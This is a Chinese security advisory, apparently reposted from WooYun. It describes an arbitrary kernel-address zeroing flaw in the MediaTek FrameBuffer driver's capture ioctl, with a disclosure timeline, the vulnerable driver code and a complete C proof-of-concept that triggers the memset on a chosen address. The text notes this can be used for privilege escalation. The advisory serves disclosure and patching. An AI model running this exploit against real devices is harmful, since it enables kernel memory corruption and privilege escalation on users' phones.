神刀安全网

漏洞标题: MTK FrameBuffer内核驱动任意地址数据改写漏洞

漏洞详情

披露状态:

2016-03-09: 细节已通知厂商并且等待厂商处理中
2016-03-11: 厂商已经确认,细节仅向厂商公开
2016-03-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-05: 细节向核心白帽子及相关领域专家公开
2016-05-15: 细节向普通白帽子公开
2016-05-25: 细节向实习白帽子公开
2016-06-09: 细节向公众公开

简要描述:

MTK FrameBuffer内核驱动是Linux内核中为方便用户态应用操作图形硬件相关功能的模块。其没有过滤输入数据,导致用户态应用可构造请求完成内核数据改写。

详细说明:

MTK FrameBuffer内核驱动是Linux内核中为了方便用户态应用操作图形硬件相关功能的模块。其通过/dev/graphics/fb0设备接口与用户态通信。

在处理MTKFB_CAPTURE_FRAMEBUFFER命令过程中,代码没有对用户传入的指针进行限定,导致可以对任意虚拟地址进行改写。如果覆盖的地址中包含类似uid的数据结构即可用于提权等目的。

以MediaTek-HelioX10-Kernel代码为例,在mtkfb_ioctl函数中相关代码如下:

code 区域
static int mtkfb_ioctl(struct fb_info *info, unsigned int cmd, unsigned long arg)
{
...
case MTKFB_CAPTURE_FRAMEBUFFER:
{
unsigned int pbuf = 0;
if (copy_from_user(&pbuf, (void __user *)arg, sizeof(pbuf)))
{
MTKFB_LOG("[FB]: copy_from_user failed! line:%d /n", __LINE__);
r = -EFAULT;
}
else
{
dprec_logger_start(DPREC_LOGGER_WDMA_DUMP, 0, 0);
primary_display_capture_framebuffer_ovl(pbuf, eBGRA8888);
dprec_logger_done(DPREC_LOGGER_WDMA_DUMP, 0, 0);
}

return (r);
}
...
}

可以看到pbuf值直接来自于用户态提供的参数。之后其被传入

primary_display_capture_framebuffer_ovl函数

code 区域
primary_display.c
int primary_display_capture_framebuffer_ovl(unsigned int pbuf, unsigned int format)
{
...
if (primary_display_is_sleepd()|| !primary_display_cmdq_enabled())
{
memset(pbuf, 0,buffer_size);
DISPMSG("primary capture: Fail black End/n");
goto out;
}
...
}

当息屏或primary_display_cmdq_enabled返回0时,都会直接调用memset函数,导致目标地址开始后buffer_size长度的内容清零。

漏洞证明:

code 区域
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <linux/ioctl.h>

#define MTK_IOW(num, dtype) _IOW('O', num, dtype)
#define MTKFB_CAPTURE_FRAMEBUFFER MTK_IOW(3, unsigned long)

int main(int argc, char *argv[])
{
void *vaddr;
unsigned int write_addr;
int fd;
int ret;

const int mmap_size = 4096;
unsigned int io_code = MTKFB_CAPTURE_FRAMEBUFFER;

if (argc < 2) {
return -1;
}

vaddr = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);

if (vaddr == MAP_FAILED) {
printf("[-] mmap failed/n");
return -1;
}

sscanf(argv[1], "%x", &write_addr);

printf("[.] Target addr: %08x/n", write_addr);

fd = open("/dev/graphics/fb0", O_RDWR);

if (fd < 0) {
printf("[-] Open device file failed %s/n", strerror(errno));
return -1;
}

memcpy(vaddr, &write_addr, sizeof(write_addr));

ret = ioctl(fd, io_code, vaddr);

if (ret < 0) {
printf("[-] ioctl failed: %s./n", strerror(errno));
}

return 0;
}

修复方案:

过滤用户态应用传入参数

版权声明:转载请注明来源 唐朝实验室@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: MTK FrameBuffer内核驱动任意地址数据改写漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址